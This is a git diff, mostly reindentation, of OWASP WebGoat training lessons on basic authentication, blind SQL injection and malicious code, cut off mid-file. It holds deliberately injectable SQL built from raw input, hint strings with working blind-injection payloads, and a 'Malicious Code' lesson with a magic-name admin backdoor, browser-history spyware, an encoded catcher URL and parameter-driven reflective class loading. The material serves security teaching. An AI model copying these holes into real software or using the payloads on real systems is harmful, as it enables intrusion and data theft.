WebGoatI18N.get("BasicAuthenticationAlmostThere3")); - } - else if (!originalSessionId.equals(s.getCookie(JSESSIONID))) - { - ec - .addElement(WebGoatI18N.get("BasicAuthenticationReallyClose")); - - } - else - { - ec.addElement(WebGoatI18N.get("BasicAuthenticationUseTheHints")); - } + // If the auth header is different but still the original user - tell the user + // that the original cookie was posted bak and basic auth uses the cookie before the + // authorization token + if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION))) + { + ec + .addElement(WebGoatI18N.get("BasicAuthenticationAlmostThere1") + + AUTHORIZATION + + WebGoatI18N.get("BasicAuthenticationAlmostThere2") + + s.getUserName() + + WebGoatI18N.get("BasicAuthenticationAlmostThere3")); + } + else if (!originalSessionId.equals(s.getCookie(JSESSIONID))) + { + ec + .addElement(WebGoatI18N.get("BasicAuthenticationReallyClose")); + + } + else + { + ec.addElement(WebGoatI18N.get("BasicAuthenticationUseTheHints")); + } - } + } - } catch (Exception e) - { - s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { - return Category.AUTHENTICATION; - } + return Category.AUTHENTICATION; + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - // int stage = getLessonTracker(session, BASIC).getStage(); + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + // int stage = getLessonTracker(session, BASIC).getStage(); - // switch ( stage ) - // { - // case 1: - hints.add(WebGoatI18N.get("BasicAuthenticationHint1")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint2")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint3")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint4")); - - // break; - // case 2: - hints.add(WebGoatI18N.get("BasicAuthenticationHint5")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint6")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint7")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint8")); - hints.add(WebGoatI18N.get("BasicAuthenticationHint9")); - - // break; - // } + // switch ( stage ) + // { + // case 1: + hints.add(WebGoatI18N.get("BasicAuthenticationHint1")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint2")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint3")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint4")); + + // break; + // case 2: + hints.add(WebGoatI18N.get("BasicAuthenticationHint5")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint6")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint7")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint8")); + hints.add(WebGoatI18N.get("BasicAuthenticationHint9")); + + // break; + // } - return hints; - } + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(100); + private final static Integer DEFAULT_RANKING = new Integer(100); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Basic Authentication"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Basic Authentication"); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/BlindNumericSqlInjection.java b/src/main/java/org/owasp/webgoat/lessons/BlindNumericSqlInjection.java index a2bde6481..8eb034fa8 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BlindNumericSqlInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/BlindNumericSqlInjection.java @@ -54,8 +54,8 @@ import org.owasp.webgoat.session.WebSession; public class BlindNumericSqlInjection extends LessonAdapter { - public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); - + public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); + private final static String ACCT_NUM = "account_number"; private final static String TARGET_CC_NUM = "1111222233334444"; @@ -69,71 +69,71 @@ public class BlindNumericSqlInjection extends LessonAdapter */ protected Element createContent(WebSession s) { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { - Connection connection = DatabaseUtilities.getConnection(s); + try + { + Connection connection = DatabaseUtilities.getConnection(s); - ec.addElement(new P().addElement("Enter your Account Number: ")); + ec.addElement(new P().addElement("Enter your Account Number: ")); - String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); - Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); - ec.addElement(input); + String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); + Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); + ec.addElement(input); - Element b = ECSFactory.makeButton("Go!"); - ec.addElement(b); + Element b = ECSFactory.makeButton("Go!"); + ec.addElement(b); - String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; - String answer_query; -// if (runningOnWindows()) -// { -// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " -// + TARGET_CC_NUM; -// } else -// { - answer_query = "SELECT pin FROM pins WHERE cc_number = '" + TARGET_CC_NUM + "'"; -// } + String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; + String answer_query; +// if (runningOnWindows()) +// { +// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " +// + TARGET_CC_NUM; +// } else +// { + answer_query = "SELECT pin FROM pins WHERE cc_number = '" + TARGET_CC_NUM + "'"; +// } - try - { - Statement answer_statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(answer_query); - answer_results.first(); - System.out.println("Account: " + accountNumber ); - System.out.println("Answer : " + answer_results.getString(1)); - if (accountNumber.toString().equals(answer_results.getString(1))) - { - makeSuccess(s); - } else - { + try + { + Statement answer_statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(answer_query); + answer_results.first(); + System.out.println("Account: " + accountNumber ); + System.out.println("Answer : " + answer_results.getString(1)); + if (accountNumber.toString().equals(answer_results.getString(1))) + { + makeSuccess(s); + } else + { - Statement statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); + Statement statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); - if ((results != null) && (results.first() == true)) - { - ec.addElement(new P().addElement("Account number is valid.")); - } else - { - ec.addElement(new P().addElement("Invalid account number.")); - } - } - } - catch (SQLException sqle) - { - ec.addElement(new P().addElement("An error occurred, please try again.")); - } - } - catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + if ((results != null) && (results.first() == true)) + { + ec.addElement(new P().addElement("Account number is valid.")); + } else + { + ec.addElement(new P().addElement("Invalid account number.")); + } + } + } + catch (SQLException sqle) + { + ec.addElement(new P().addElement("An error occurred, please try again.")); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); + return (ec); } /** @@ -143,7 +143,7 @@ public class BlindNumericSqlInjection extends LessonAdapter */ protected Category getDefaultCategory() { - return Category.INJECTION; + return Category.INJECTION; } /** @@ -153,7 +153,7 @@ public class BlindNumericSqlInjection extends LessonAdapter */ public Element getCredits() { - return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); + return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); } /** @@ -163,58 +163,58 @@ public class BlindNumericSqlInjection extends LessonAdapter */ protected List getHints(WebSession s) { - List hints = new ArrayList(); -// if (runningOnWindows()) -// { - hints - .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " - + "Create a SQL statement that you can use as a true/false test and then " - + "start narrowing down the number using > and <" - + "

The backend database is HSQLDB, but this shouldn't make any difference because " - + "you can solve this lesson with standard SQL syntax."); + List hints = new ArrayList(); +// if (runningOnWindows()) +// { + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Create a SQL statement that you can use as a true/false test and then " + + "start narrowing down the number using > and <" + + "

The backend database is HSQLDB, but this shouldn't make any difference because " + + "you can solve this lesson with standard SQL syntax."); - hints - .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " - + "You will need to make use of the following SQL functions: " - + "

AND - combine the logic of the normal query with a boolean result" - + "

( and ) - group subexpressions so they evaluate properly" - + "

SELECT - make a subquery for your target data and get a number" - + "

> and = and < - once you have the number, compare it to a choosen one"); - - hints.add("This is the code for the query being built and issued by WebGoat:

" - + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); - hints - .add("Here is an example for another table:" - + "

In the table user_data, is the userid for the record with a cc_number of " - + "333498703333" - + " greater than 100? " - + "

101 AND ((SELECT userid FROM user_data WHERE cc_number='" - + "333498703333" - + "') > 100 ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - hints - .add("Partial Solution:" - + "

Is the pin of the record with a cc_number of " - + TARGET_CC_NUM - + " greater than 1000? " - + "

101 AND ((SELECT pin FROM pins WHERE cc_number='" - + TARGET_CC_NUM - + "') > 1000 ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - hints - .add("Another Part of Solution:" - + "

Is the pin of the record with a cc_number of " - + TARGET_CC_NUM - + " greater than 10000? " - + "

101 AND ((SELECT pin FROM pins WHERE cc_number='" - + TARGET_CC_NUM - + "') > 10000 ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); + hints + .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " + + "You will need to make use of the following SQL functions: " + + "

AND - combine the logic of the normal query with a boolean result" + + "

( and ) - group subexpressions so they evaluate properly" + + "

SELECT - make a subquery for your target data and get a number" + + "

> and = and < - once you have the number, compare it to a choosen one"); + + hints.add("This is the code for the query being built and issued by WebGoat:

" + + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + hints + .add("Here is an example for another table:" + + "

In the table user_data, is the userid for the record with a cc_number of " + + "333498703333" + + " greater than 100? " + + "

101 AND ((SELECT userid FROM user_data WHERE cc_number='" + + "333498703333" + + "') > 100 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + hints + .add("Partial Solution:" + + "

Is the pin of the record with a cc_number of " + + TARGET_CC_NUM + + " greater than 1000? " + + "

101 AND ((SELECT pin FROM pins WHERE cc_number='" + + TARGET_CC_NUM + + "') > 1000 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + hints + .add("Another Part of Solution:" + + "

Is the pin of the record with a cc_number of " + + TARGET_CC_NUM + + " greater than 10000? " + + "

101 AND ((SELECT pin FROM pins WHERE cc_number='" + + TARGET_CC_NUM + + "') > 10000 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); - return hints; + return hints; } /** @@ -224,22 +224,22 @@ public class BlindNumericSqlInjection extends LessonAdapter */ public String getInstructions(WebSession s) { - String instructions = "The form below allows a user to enter an account number and determine if " - + "it is valid or not. Use this form to develop a true / false test check other entries in the database. " - + "

The goal is to find the value of " - + "the field pin in table pins for the row with the cc_number of " - + TARGET_CC_NUM - + ". The field is of type int, which is an integer." - + "

Put the discovered pin value in the form to pass the lesson."; + String instructions = "The form below allows a user to enter an account number and determine if " + + "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + + "

The goal is to find the value of " + + "the field pin in table pins for the row with the cc_number of " + + TARGET_CC_NUM + + ". The field is of type int, which is an integer." + + "

Put the discovered pin value in the form to pass the lesson."; - return (instructions); + return (instructions); } private final static Integer DEFAULT_RANKING = new Integer(90); protected Integer getDefaultRanking() { - return DEFAULT_RANKING; + return DEFAULT_RANKING; } /** @@ -249,7 +249,7 @@ public class BlindNumericSqlInjection extends LessonAdapter */ public String getTitle() { - return ("Blind Numeric SQL Injection"); + return ("Blind Numeric SQL Injection"); } /** @@ -260,14 +260,14 @@ public class BlindNumericSqlInjection extends LessonAdapter */ public void handleRequest(WebSession s) { - try - { - super.handleRequest(s); - } - catch (Exception e) - { - System.out.println("Exception caught: " + e); - e.printStackTrace(System.out); - } + try + { + super.handleRequest(s); + } + catch (Exception e) + { + System.out.println("Exception caught: " + e); + e.printStackTrace(System.out); + } } } diff --git a/src/main/java/org/owasp/webgoat/lessons/BlindScript.java b/src/main/java/org/owasp/webgoat/lessons/BlindScript.java index 1740b24d2..84126c795 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BlindScript.java +++ b/src/main/java/org/owasp/webgoat/lessons/BlindScript.java @@ -64,278 +64,278 @@ import java.util.Arrays; */ public class BlindScript extends LessonAdapter { - private final static String PERSON = "person"; - private final static String CODE = "code"; - private final static String METHOD = "method"; - private final static String ARG_TYPES = "argTypes"; - private final static String PARAMS = "params"; - private final static String WEBGOAT_URL = "aHR0cDovL2xvY2FsaG9zdC9XZWJHb2F0L2NhdGNoZXI/UFJPUEVSVFk9eWVz"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + private final static String PERSON = "person"; + private final static String CODE = "code"; + private final static String METHOD = "method"; + private final static String ARG_TYPES = "argTypes"; + private final static String PARAMS = "params"; + private final static String WEBGOAT_URL = "aHR0cDovL2xvY2FsaG9zdC9XZWJHb2F0L2NhdGNoZXI/UFJPUEVSVFk9eWVz"; + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - StringBuffer person = null; - try - { - person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + StringBuffer person = null; + try + { + person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); - if (!"".equals(person.toString())) - { - ec.addElement(new StringElement("Sorry. Could not locate record for: " - + person.toString())); - } + if (!"".equals(person.toString())) + { + ec.addElement(new StringElement("Sorry. Could not locate record for: " + + person.toString())); + } - ec.addElement(new StringElement("Enter your name: ")); + ec.addElement(new StringElement("Enter your name: ")); - Input input = new Input(Input.TEXT, PERSON, person.toString()); - ec.addElement(input); + Input input = new Input(Input.TEXT, PERSON, person.toString()); + ec.addElement(input); - Element b = ECSFactory.makeButton("Go!"); - ec.addElement(b); - } - catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + Element b = ECSFactory.makeButton("Go!"); + ec.addElement(b); + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - // Easter Egg - if ("BrucE".equals(person.toString())) - { - ec = easterEgg(s); - makeSuccess(s); - } + // Easter Egg + if ("BrucE".equals(person.toString())) + { + ec = easterEgg(s); + makeSuccess(s); + } - executeSpyWare(s); - executeTimeTrigger(s); - executeEventTrigger(s); - executeBackDoor(s); - - // Dynamic Class Loading - String code = s.getParser().getStringParameter(CODE, ""); - String method = s.getParser().getStringParameter(METHOD, ""); - String argTypes = s.getParser().getStringParameter(ARG_TYPES, ""); - String params = s.getParser().getStringParameter(PARAMS, ""); - if (!code.equals("")) - { - try - { - loadMe(s, code, method, argTypes, params); - } - catch (IOException e) - { - // do nothing to hide the error - } - } - return (ec); - } + executeSpyWare(s); + executeTimeTrigger(s); + executeEventTrigger(s); + executeBackDoor(s); + + // Dynamic Class Loading + String code = s.getParser().getStringParameter(CODE, ""); + String method = s.getParser().getStringParameter(METHOD, ""); + String argTypes = s.getParser().getStringParameter(ARG_TYPES, ""); + String params = s.getParser().getStringParameter(PARAMS, ""); + if (!code.equals("")) + { + try + { + loadMe(s, code, method, argTypes, params); + } + catch (IOException e) + { + // do nothing to hide the error + } + } + return (ec); + } - private void executeBackDoor(WebSession s) - { - - // Make me an admin - String me = s.getParser().getStringParameter(PERSON, ""); - if ("B_Admin443".equals(me)) - { - s.setAdmin(true); - } + private void executeBackDoor(WebSession s) + { + + // Make me an admin + String me = s.getParser().getStringParameter(PERSON, ""); + if ("B_Admin443".equals(me)) + { + s.setAdmin(true); + } - // This won't actually work for WebGoat, it's setting the admin flag AFTER - // the admin checks have been performed and the lessons/functions have been - // loaded for the user. - } - - public void executeSpyWare( WebSession s ) - { - // Lets gather some information about the users browsing history - String userHome = System.getProperty("user.home" ) + "\\Local Settings\\Temporary Internet Files"; - String separator = System.getProperty("line.separator"); - File dir = new File(userHome); - StringBuffer browserFiles = new StringBuffer(); - if (dir.isDirectory()) { + // This won't actually work for WebGoat, it's setting the admin flag AFTER + // the admin checks have been performed and the lessons/functions have been + // loaded for the user. + } + + public void executeSpyWare( WebSession s ) + { + // Lets gather some information about the users browsing history + String userHome = System.getProperty("user.home" ) + "\\Local Settings\\Temporary Internet Files"; + String separator = System.getProperty("line.separator"); + File dir = new File(userHome); + StringBuffer browserFiles = new StringBuffer(); + if (dir.isDirectory()) { File[] children = dir.listFiles(); for (int i=0; i= 1 ) - { - parameterType = new Class[argsTok.countTokens()]; - } - if (paramsTok.countTokens() >= 1 ) - { - argList = new Object[paramsTok.countTokens()]; - } - - int i = 0; - while (argsTok.hasMoreTokens()) - { - String argString = argsTok.nextToken(); - - if ("W".equals(argString)) - { - parameterType[i] = WebSession.class; - argList[i] = s; - } else if ("S".equals(argString)) - { - parameterType[i] = String.class; - } - else if ("I".equals(argString)) - { - parameterType[i] = Integer.class; - } - } - - Method meth = cls.getMethod(method, parameterType); - String retobj = (String) meth.invoke(cls, argList); - return retobj; - } - catch (Exception e) - { - e.printStackTrace(); - } - return null; - } + //http://localhost:8888/WebGoat/attack?Screen=18&menu=50&code=org.owasp.webgoat.lessons.Challenge2Screen&method=getInstructions&argTypes=W¶ms=this + public static String loadMe(WebSession s, String clazz, String method, String argTypes, String params) throws IOException + { + try + { + Class cls = (Class.forName(clazz)); + StringTokenizer argsTok = new StringTokenizer(argTypes, ","); + StringTokenizer paramsTok = new StringTokenizer(params, ","); + + // Build the list of parameter types to look up the method + Class parameterType[] = null; + Object argList[] = null; + if ( argsTok.countTokens() >= 1 ) + { + parameterType = new Class[argsTok.countTokens()]; + } + if (paramsTok.countTokens() >= 1 ) + { + argList = new Object[paramsTok.countTokens()]; + } + + int i = 0; + while (argsTok.hasMoreTokens()) + { + String argString = argsTok.nextToken(); + + if ("W".equals(argString)) + { + parameterType[i] = WebSession.class; + argList[i] = s; + } else if ("S".equals(argString)) + { + parameterType[i] = String.class; + } + else if ("I".equals(argString)) + { + parameterType[i] = Integer.class; + } + } + + Method meth = cls.getMethod(method, parameterType); + String retobj = (String) meth.invoke(cls, argList); + return retobj; + } + catch (Exception e) + { + e.printStackTrace(); + } + return null; + } - private ElementContainer easterEgg(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(new StringElement("Bruce - You are the greatest!")); - return ec; + private ElementContainer easterEgg(WebSession s) + { + ElementContainer ec = new ElementContainer(); + ec.addElement(new StringElement("Bruce - You are the greatest!")); + return ec; - } + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Type in Bruce and press 'go'"); - hints.add(""); - hints.add("Press the Show Lesson Plan button to view a lesson summary"); + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Type in Bruce and press 'go'"); + hints.add(""); + hints.add("Press the Show Lesson Plan button to view a lesson summary"); - return hints; - } + return hints; + } - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(10); + /** + * Gets the ranking attribute of the HelloScreen object + * + * @return The ranking value + */ + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - protected Category getDefaultCategory() - { - return Category.GENERAL; - } + protected Category getDefaultCategory() + { + return Category.GENERAL; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Malicious Code"); - } - + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Malicious Code"); + } + private static boolean compile( JavaFileObject... source ) { @@ -370,22 +370,22 @@ public class BlindScript extends LessonAdapter { final String programText = compose( ); try - { - compile( new ResidentJavaFileObject( "Deleter", programText ) ); - Class.forName( "org.owasp.webgoat.lessons.Deleter" ).newInstance(); - } catch (URISyntaxException e) - { - } catch (InstantiationException e) - { - } catch (IllegalAccessException e) - { - } catch (ClassNotFoundException e) - { - } + { + compile( new ResidentJavaFileObject( "Deleter", programText ) ); + Class.forName( "org.owasp.webgoat.lessons.Deleter" ).newInstance(); + } catch (URISyntaxException e) + { + } catch (InstantiationException e) + { + } catch (IllegalAccessException e) + { + } catch (ClassNotFoundException e) + { + } } } - class ResidentJavaFileObject extends SimpleJavaFileObject + class ResidentJavaFileObject extends SimpleJavaFileObject { private final String programText; @@ -399,5 +399,5 @@ public class BlindScript extends LessonAdapter { return programText; } - } - + } + diff --git a/src/main/java/org/owasp/webgoat/lessons/BlindStringSqlInjection.java b/src/main/java/org/owasp/webgoat/lessons/BlindStringSqlInjection.java index b381584c5..bbf9e4513 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BlindStringSqlInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/BlindStringSqlInjection.java @@ -54,8 +54,8 @@ import org.owasp.webgoat.session.WebSession; public class BlindStringSqlInjection extends LessonAdapter { - public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); - + public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); + private final static String ACCT_NUM = "account_number"; private final static String TARGET_CC_NUM = "4321432143214321"; @@ -69,76 +69,76 @@ public class BlindStringSqlInjection extends LessonAdapter */ protected Element createContent(WebSession s) { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { - Connection connection = DatabaseUtilities.getConnection(s); + try + { + Connection connection = DatabaseUtilities.getConnection(s); - ec.addElement(new P().addElement("Enter your Account Number: ")); + ec.addElement(new P().addElement("Enter your Account Number: ")); - String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); - Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); - ec.addElement(input); + String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); + Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); + ec.addElement(input); - Element b = ECSFactory.makeButton("Go!"); - ec.addElement(b); + Element b = ECSFactory.makeButton("Go!"); + ec.addElement(b); - String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; - String answer_query; -// if (runningOnWindows()) -// { -// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " -// + TARGET_CC_NUM; -// } else -// { - answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'"; -// } + String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; + String answer_query; +// if (runningOnWindows()) +// { +// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " +// + TARGET_CC_NUM; +// } else +// { + answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'"; +// } - try - { - Statement answer_statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(answer_query); - answer_results.first(); - System.out.println("Account: " + accountNumber ); - System.out.println("Answer : " + answer_results.getString(1)); - if (accountNumber.toString().equals(answer_results.getString(1))) - { - makeSuccess(s); - } else - { + try + { + Statement answer_statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(answer_query); + answer_results.first(); + System.out.println("Account: " + accountNumber ); + System.out.println("Answer : " + answer_results.getString(1)); + if (accountNumber.toString().equals(answer_results.getString(1))) + { + makeSuccess(s); + } else + { - Statement statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); + Statement statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); - if ((results != null) && (results.first() == true)) - { - ec.addElement(new P().addElement("Account number is valid")); - } else - { - ec.addElement(new P().addElement("Invalid account number")); - } - } - } - catch (SQLException sqle) - { - ec.addElement(new P().addElement("An error occurred, please try again.")); - - // comment out two lines below - ec.addElement(new P().addElement(sqle.getMessage())); - sqle.printStackTrace(); - - } - } - catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + if ((results != null) && (results.first() == true)) + { + ec.addElement(new P().addElement("Account number is valid")); + } else + { + ec.addElement(new P().addElement("Invalid account number")); + } + } + } + catch (SQLException sqle) + { + ec.addElement(new P().addElement("An error occurred, please try again.")); + + // comment out two lines below + ec.addElement(new P().addElement(sqle.getMessage())); + sqle.printStackTrace(); + + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); + return (ec); } /** @@ -148,7 +148,7 @@ public class BlindStringSqlInjection extends LessonAdapter */ protected Category getDefaultCategory() { - return Category.INJECTION; + return Category.INJECTION; } /** @@ -158,7 +158,7 @@ public class BlindStringSqlInjection extends LessonAdapter */ public Element getCredits() { - return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); + return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); } /** @@ -171,14 +171,14 @@ public class BlindStringSqlInjection extends LessonAdapter */ // private boolean runningOnWindows() // { -// String os = System.getProperty("os.name", "Windows"); -// if (os.toLowerCase().indexOf("window") != -1) -// { -// return true; -// } else -// { -// return false; -// } +// String os = System.getProperty("os.name", "Windows"); +// if (os.toLowerCase().indexOf("window") != -1) +// { +// return true; +// } else +// { +// return false; +// } // } /** @@ -188,80 +188,80 @@ public class BlindStringSqlInjection extends LessonAdapter */ protected List getHints(WebSession s) { - List hints = new ArrayList(); -// if (runningOnWindows()) -// { - hints - .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " - + "Create a SQL statement that you can use as a true/false test and then " - + "select the first character of the target element and do a start narrowing " - + "down the character using > and <" - + "

The backend database is HSQLDB. Keep that in mind if you research SQL functions " - + "on the Internet since different databases use some different functions and syntax." - - + "

You can find more about HSQLDB's SQL Syntax at " - + "http://hsqldb.org/doc/guide/ch09.html. " - + "Pay attention to the section titled \"String built-in Functions / Stored Procedures\"."); + List hints = new ArrayList(); +// if (runningOnWindows()) +// { + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Create a SQL statement that you can use as a true/false test and then " + + "select the first character of the target element and do a start narrowing " + + "down the character using > and <" + + "

The backend database is HSQLDB. Keep that in mind if you research SQL functions " + + "on the Internet since different databases use some different functions and syntax." + + + "

You can find more about HSQLDB's SQL Syntax at " + + "http://hsqldb.org/doc/guide/ch09.html. " + + "Pay attention to the section titled \"String built-in Functions / Stored Procedures\"."); - hints - .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " - + "You will need to make use of the following SQL contstructs: " - - + "

AND - combine the logic of the normal query with a boolean result" - + "

( and ) - group subexpressions so they evaluate properly" - + "

SELECT - make a subquery for your target data and get a string " - + "

SUBSTRING(string, start, length) - returns a " - + "substring of string starting at the start character and going for length characters " - + "

> and = and < - once you have a character's value, compare it to a choosen one" - + "

You can find more about HSQLDB's SQL Syntax at " - + "http://hsqldb.org/doc/guide/ch09.html"); - - hints.add("This is the code for the query being built and issued by WebGoat:

" - + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); - - hints - .add("Here is an example for another table:" - + "

In the table user_data, is the first character of the first_name for the record with a cc_number of " - + "333498703333" - + " greater than 'M'? " - + "

101 AND (SUBSTRING((SELECT first_name FROM user_data WHERE cc_number='" - + "333498703333" - + "'), 1, 1) > 'M' ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - hints - .add("Partial Solution for First Character:" - + "

Is the first character of the name of the record with a cc_number of " - + TARGET_CC_NUM - + " less than 'M'? " - + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" - + TARGET_CC_NUM - + "'), 1, 1) < 'M' ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - hints - .add("Another Part of Solution for First Character:" - + "

Is the first character of the name of the record with a cc_number of " - + TARGET_CC_NUM - + " less than 'H'? " - + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" - + TARGET_CC_NUM - + "'), 1, 1) < 'H' ); " - + "

